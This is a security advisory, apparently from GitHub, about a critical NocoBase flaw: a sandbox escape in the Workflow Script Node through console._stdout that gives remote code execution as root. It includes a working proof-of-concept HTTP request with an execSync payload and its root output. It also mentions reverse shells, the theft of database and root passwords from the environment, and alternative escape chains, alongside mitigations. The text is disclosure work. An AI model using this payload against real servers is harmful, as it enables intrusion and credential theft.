## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
console._stdout.constructor.constructor → host-realm Function constructorFunction('return process')() → Node.js process objectprocess.mainModule.require('child_process') → unrestricted module loadingchild_process.execSync('id') → RCE as rootThis completely bypasses the customRequire allowlist.
DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)require('fs')HTTP Request:
POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
nocobase/nocobase:latestGot reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
vm module with isolated-vm for true V8 isolate separationconsole object into the sandbox; create a clean proxy/api/flow_nodes:test to admin-only rolesconsole._stderr.constructor.constructor (identical chain via stderr)Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)Onurcan Genç — Independent Security Researcher, Bilkent University
{
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:16:24Z",
"nvd_published_at": "2026-03-31T14:16:12Z",
"severity": "CRITICAL"
}